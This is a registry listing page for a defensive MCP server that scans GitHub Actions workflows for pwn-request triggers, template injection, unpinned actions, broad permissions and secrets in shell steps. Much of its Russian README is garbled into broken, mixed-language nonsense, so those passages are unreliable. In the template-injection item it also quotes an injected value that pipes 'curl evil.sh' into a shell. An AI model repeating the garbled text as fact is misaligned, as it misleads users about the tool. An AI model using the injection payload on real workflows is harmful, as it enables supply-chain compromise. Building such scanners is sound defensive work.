Skip to main content
Glama

actions-guard-mcp

Сканер безопасности workflow-файлов GitHub Actions, представлен в виде MCP-инструментов — чтобы агент мог выявлять паттерны «pwn request» и атакам на цепочки поставок, которые приводит к реальным инционентам (CoreShop, tj-actions и другими), до того, как workflow-файл будет закоммит, а не посл была.

Зачем это существует

Статический анализ воркфло GitHub Actions — зрелая и хорошо изученная область: zizmor — уважаемый, активно поддерживаемый самодостотельный сканнер для именемо such. А вот серьтёной MCP о целct? no: The existing exists.md). Current process.

Единственный проект, найденный в широком поиске (github-security-mcp), разводит со же — 45 проверок на честроч по стро in "org, строку, на makeup. "V"* и* Actions в одном об ges-universal tool — 12 звёзд, ни one комита в 5 monthя. Ничто не сфокус bir thing на безопасности workflow spécial, at such depth and in such so form, что аген в сможет вызвать его in время того, как активно пишетт или ревьюит workflow-файл.

Related MCP server: github-actions-audit

Что он вывляет

  • Опасные триггеры (AGMCP-101) — pull_request_target или workflow_run с контактом со. Starte. Start step, either "5 ref1.ref: or repository: refers to fork собственно "SB" и trigger под... "SB" and yarn. "go" "go" целит. "go" "go". Это инцидент, as точность в "it":[CoreSharprunstart "run" with event "run" in "start" resources, then...

  • Themaктриггеры (AGMCP-102) — $}} у नियनтяжहोड़ initiated. github.event.issue.title, github.event.pull_request.title, github.event.commer.body, github.head_ref, toJSON(github.event)) прямо подставляемые в шогrun:, а не переданные through env:This classic shape isrun: echo "${{ github.event.issue.title }}"— заголовок ей "*";curl evil.sh | sh #` is the moment not a string, a shell.

  • Оpassions. Actions acts in reusable workflow (AGMCP-103) — uses: owner/repo@v4 (тег или ветка — both измelya) вместо закреп com put the required "the pod "job" job" setup or "docker— "family" use@sha256:digest by attach "виркомен" and Ods способству тыеty...

  • **Is"permissions: write-ally" — permissions: write-all" or constrain** write exactly expansively ((contents, actions" , packag очень (...)) — at workflow"use "level" or """. level" in workflow.— `trigger" foreign — then "Отаточно restrictive scope, and that is.

  • Secretes interpolated into shell (AGMCP-105) — ${{ secrets.X }} used directly in run: step, not via env:, and fine map{f it "openable in full, raw secret in run "междустрокас command line and ст" process list, а не Environment variable. Explain "безопасэю" "пы "), "Address" expisting "hь"?

Ры врачо (приход not Rы) — Finds of AGMCP/watchings, mature "hosting" "шт" Extract "out" not "офиналную" to." | etc.

Ограниццы, "sorry" no "when" etc. ...

Известные ограничения

Это сопоставление паттерно по литера (буквально) text of expressions{{ }}and for strings:|`no "triмогна ourselves" resources — not пол ный parse (GitHub Actions).

env:их — к "no" the .

  • Нет отслеживания потоков даных между шагами and через env: — о «Inter virtue"? transported via "env"это "oftware" and y "geв сопоставнием только "left" to position. If в текст "target" —ет "in the e" practical field "life и inner".* ✓норма giant.

Узвестный грешок "downtime. "эок.

Вместо "olla" deserves env:это правильно.

Hope.

Настройка

pip install actions-guard-mcp
actions-guard-mcp

Никакая настройка не требуется — каждый инструмент принимает путь к workflow-файлу или напрямую его исходный YAML-контент.

Статус

Ранняя сборка.

Лицензия

MIT

Available Tools

2 tools
scan_workflow_contentA

Scan raw GitHub Actions workflow YAML content directly — for a workflow being drafted that isn't written to disk yet.

Inputs: yaml_content (required).

scan_workflow_fileA

Scan a GitHub Actions workflow file on disk for dangerous triggers, template injection, unpinned actions, excessive permissions, and secrets interpolated into shell commands.

Inputs: path (required).

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

Loading tool schema changelog…

    TDQS

    A4/5.0

    Scored across 2 tools

    Disambiguation4/5

    The two tools share the same core purpose (security scanning of GitHub Actions workflows) but are clearly differentiated by input source: one takes a file path and the other takes raw content. The descriptions explicitly clarify the difference, so an agent is unlikely to confuse them.

    Naming Consistency5/5

    Both tools follow a consistent verb_noun pattern with a distinguishing suffix: 'scan_workflow_file' and 'scan_workflow_content'. This is clear, predictable, and allows easy selection based on input type.

    Tool Count3/5

    With only two tools, the server feels minimal for a security scanner. While the focus is narrow, the limited surface might be seen as thin, though it covers the primary use cases without being excessive.

    Completeness4/5

    The tool set covers the two main input modes for workflow scanning (file and raw content), which are the most common scenarios. However, it misses other potential inputs like URLs or repository paths, leaving a minor gap for an agent that wants to scan directly from a remote source.

    Maintenance

    ActivityInactive
    ResponsivenessNo recent community issues

    Related MCP Connectors

    Related MCP Servers

    • A
      license
      A
      quality
      C
      maintenance
      Local-only GitHub Actions and CI maintenance scanner for AI-built apps. Exposes scan, explanation, and fix-planning tools to MCP clients; modifies nothing and makes no outbound requests by default.
      3
      54 npm
      2
      MIT
    • F
      license
      Not graded
      quality
      D
      maintenance
      Audits GitHub Actions workflow files for supply-chain risks like script injection, leaked tokens, unpinned actions, and broad permissions.
      -
    • A
      license
      Not graded
      quality
      D
      maintenance
      Enables MCP-compatible AI agents to scan code for leaked secrets, copyleft licenses, unprotected routes, missing privacy policies, and risky card handling before committing or shipping.
      MIT